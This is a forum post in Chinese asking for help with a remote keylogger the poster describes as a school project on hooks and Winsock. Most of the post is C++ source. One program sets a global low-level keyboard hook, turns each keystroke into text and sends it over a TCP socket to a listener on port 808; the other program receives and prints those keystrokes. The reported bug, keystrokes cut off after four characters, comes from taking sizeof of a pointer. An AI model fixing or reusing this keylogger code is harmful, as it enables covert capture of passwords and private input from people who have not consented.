我正在编写一个需要通过网络发送数据的应用程序。我已完成申请,但发送数据时出现问题。每次发送一条数据,4个字符后就被截断,剩下的就是垃圾。该应用程序是我为一个学校项目编写的远程键盘记录器,它要求您演示钩子和winsock 的用法。我们可以在论坛上寻求帮助。任何帮助,将不胜感激!
这里的代码:
服务器:
// rkl.cpp : Defines the entry point for the application.
//
#include "stdafx.h"
#include "rkl.h"
#include <windows.h>
#include <stdio.h>
SOCKET kSock;
LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam);
int APIENTRY _tWinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR lpCmdLine,
int nCmdShow)
{
WSAData wsdata;
WORD wsver=MAKEWORD(2, 0);
int nret=WSAStartup(wsver, &wsdata);
if(nret != 0)
{
MessageBoxA(0,"Error 0","Error",MB_OK);
WSACleanup();
return -1;
}
kSock=socket(AF_INET, SOCK_STREAM, 0);
if(kSock == INVALID_SOCKET)
{
MessageBoxA(0,"Error 1","Error",MB_OK);
return -1;
}
sockaddr_in sin;
sin.sin_port=htons(808);
sin.sin_addr.s_addr=inet_addr("127.0.0.1");
sin.sin_family=AF_INET;
if(connect(kSock,(sockaddr*)&sin, sizeof(sin)) == SOCKET_ERROR)
{
MessageBoxA(0,"Error 2","Error",MB_OK);
WSACleanup();
return -1;
}
HHOOK keyboardHook = SetWindowsHookEx(
WH_KEYBOARD_LL,
keyboardHookProc,
hInstance,
0);
char buf1[256];
char* buf = buf1;
buf = "Test";
send(kSock,buf,sizeof(buf),0);
MessageBoxA(0,"Press ok to stop logging.","Waiting...",MB_OK);
closesocket(kSock);
return 0;
}
LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);
if (wParam == WM_KEYDOWN) {
char* buf;
char tl[256];
buf = tl;
buf = itoa(p->vkCode,buf,10);
int tmp;
tmp = atoi(buf);
if(tmp != 0)
{
switch (tmp) {
case VK_BACK: buf = "<BACKSPACE>"; break;
case VK_TAB: buf = "<TAB>"; break;
case VK_CLEAR: buf = "<CLEAR>"; break;
case VK_RETURN: buf = "<ENTER>"; break;
case VK_SHIFT: buf = "<SHIFT>"; break;
case VK_CONTROL: buf = "<CTRL>"; break;
case VK_MENU: buf = "<ALT>"; break;
case VK_PAUSE: buf = "<PAUSE>"; break;
case VK_CAPITAL: buf = "<CAPS LOCK>"; break;
case VK_ESCAPE: buf = "<ESC>"; break;
case VK_SPACE: buf = "<SPACEBAR>"; break;
case VK_PRIOR: buf = "<PAGE UP>"; break;
case VK_NEXT: buf = "<PAGE DOWN>"; break;
case VK_END: buf = "<END>"; break;
case VK_HOME: buf = "<HOME>"; break;
case VK_LEFT: buf = "<LEFT ARROW>"; break;
case VK_UP: buf = "<UP ARROW>"; break;
case VK_RIGHT: buf = "<RIGHT ARROW>"; break;
case VK_DOWN: buf = "<DOWN ARROW>"; break;
case VK_SELECT: buf = "<SELECT>"; break;
case VK_PRINT: buf = "<PRINT>"; break;
case VK_EXECUTE: buf = "<EXECUTE>"; break;
case VK_SNAPSHOT: buf = "<PRINT SCREEN>"; break;
case VK_INSERT: buf = "<INSERT>"; break;
case VK_DELETE: buf = "<DEL>"; break;
case VK_HELP: buf = "<HELP>"; break;
case VK_LWIN: buf = "<Left Windows key>"; break;
case VK_RWIN : buf = "<Right Windows key>"; break;
case VK_APPS: buf = "<Applications key>"; break;
case VK_SLEEP: buf = "<Computer Sleep key>"; break;
case VK_NUMPAD0: buf = "0"; break;
case VK_NUMPAD1: buf = "1"; break;
case VK_NUMPAD2: buf = "2"; break;
case VK_NUMPAD3: buf = "3"; break;
case VK_NUMPAD4: buf = "4"; break;
case VK_NUMPAD5: buf = "5"; break;
case VK_NUMPAD6: buf = "6"; break;
case VK_NUMPAD7: buf = "7"; break;
case VK_NUMPAD8: buf = "8"; break;
case VK_NUMPAD9: buf = "9"; break;
case VK_MULTIPLY: buf = "*"; break;
case VK_ADD: buf = "+"; break;
case VK_SEPARATOR: buf = "<Separator key>"; break;
case VK_SUBTRACT: buf = "-"; break;
case VK_DECIMAL: buf = "."; break;
case VK_DIVIDE: buf = "/"; break;
case VK_F1: buf = "<F1>"; break;
case VK_F2: buf = "<F2>"; break;
case VK_F3: buf = "<F3>"; break;
case VK_F4: buf = "<F4>"; break;
case VK_F5: buf = "<F5>"; break;
case VK_F6: buf = "<F6>"; break;
case VK_F7: buf = "<F7>"; break;
case VK_F8: buf = "<F8>"; break;
case VK_F9: buf = "<F9>"; break;
case VK_F10: buf = "<F10>"; break;
case VK_F11: buf = "<F11>"; break;
case VK_F12: buf = "<F12>"; break;
case VK_NUMLOCK: buf = "<NUM LOCK>"; break;
case VK_SCROLL: buf = "<SCROLL LOCK>"; break;
case VK_LSHIFT: buf = "<Left SHIFT>"; break;
case VK_RSHIFT: buf = "<Right SHIFT>"; break;
case VK_LCONTROL: buf = "<Left CONTROL>"; break;
case VK_RCONTROL: buf = "<Right CONTROL>"; break;
case VK_LMENU: buf = "<Left MENU>"; break;
case VK_RMENU: buf = "<Right MENU>"; break;
case VK_BROWSER_BACK: buf = "<Browser Back key>"; break;
case VK_BROWSER_FORWARD: buf = "<Browser Forward key>"; break;
case VK_BROWSER_REFRESH: buf = "<Browser Refresh key>"; break;
case VK_BROWSER_STOP: buf = "<Browser Stop key>"; break;
case VK_BROWSER_SEARCH: buf = "<Browser Search key >"; break;
case VK_BROWSER_FAVORITES: buf = "<Browser Favorites key>"; break;
case VK_BROWSER_HOME: buf = "<Browser Start and Home key>"; break;
case VK_VOLUME_MUTE: buf = "<Volume Mute key>"; break;
case VK_VOLUME_DOWN: buf = "<Volume Down key>"; break;
case VK_VOLUME_UP: buf = "<Volume Up key>"; break;
case VK_MEDIA_NEXT_TRACK: buf = "<Next Track key>"; break;
case VK_MEDIA_PREV_TRACK: buf = "<Previous Track key>"; break;
case VK_MEDIA_STOP: buf = "<Stop Media key>"; break;
case VK_MEDIA_PLAY_PAUSE: buf = "<Play/Pause Media key>"; break;
case VK_LAUNCH_MAIL: buf = "<Start Mail key>"; break;
case VK_LAUNCH_MEDIA_SELECT: buf = "<Select Media key>"; break;
case VK_LAUNCH_APP1: buf = "<Start Application 1 key>"; break;
case VK_LAUNCH_APP2: buf = "<Start Application 2 key>"; break;
case VK_OEM_1: buf = "<;:' key >"; break;
case VK_OEM_PLUS: buf = "+"; break;
case VK_OEM_COMMA: buf = ","; break;
case VK_OEM_MINUS: buf = "-"; break;
case VK_OEM_PERIOD: buf = "."; break;
case VK_OEM_2: buf = "</?' key >"; break;
case VK_OEM_3: buf = "<`~' key >"; break;
case VK_OEM_4: buf = "<[{' key>"; break;
case VK_OEM_5: buf = "<\|' key>"; break;
case VK_OEM_6: buf = "<]}' key>"; break;
case VK_OEM_7: buf = "<single-quote/double-quote' key>"; break;
case VK_OEM_CLEAR: buf = "<Clear>"; break;
default:
buf[0] = char(tmp);
buf[1] = char(0);
buf[2] = char(0);
buf[3] = char(0);
buf[4] = char(0);
buf[5] = char(0);
buf[6] = char(0);
buf[7] = char(0);
buf[8] = char(0);
}
send(kSock,buf,sizeof(buf),0);
}
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
}
客户:
// lkv.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include <windows.h>
#include <iostream>
int main()
{
WSAData wsdata;
WORD wsver=MAKEWORD(2, 0);
int nret=WSAStartup(wsver, &wsdata);
if(nret != 0){
std::cout<<"Startup failed, error code: "<<WSAGetLastError();
WSACleanup();
return -1;
}
std::cout<<"Init success\n";
SOCKET kSock=socket(AF_INET, SOCK_STREAM, 0);
if(kSock == INVALID_SOCKET){
std::cout<<"Socket init failed";
return -1;
}
std::cout<<"Socket initialized\n";
sockaddr_in sin;
sin.sin_port=htons(808);
sin.sin_addr.s_addr=INADDR_ANY;
sin.sin_family=AF_INET;
if(bind(kSock,(sockaddr*)&sin, sizeof(sin)) == SOCKET_ERROR){
std::cout<<"Failed to bind\n";
WSACleanup();
return -1;
}
std::cout<<"Bind successful!\n";
while (listen(kSock, SOMAXCONN) == SOCKET_ERROR);
SOCKET client;
int len = sizeof(sin);
client=accept(kSock, (sockaddr*)&sin, &len);
std::cout<<"Connection established!\n";
int i;
for(;;)
{
char buf[22];
recv(client, buf, sizeof(buf), 0);
std::cout << buf;
}
closesocket(client);
closesocket(kSock);
WSACleanup();
return 0;
}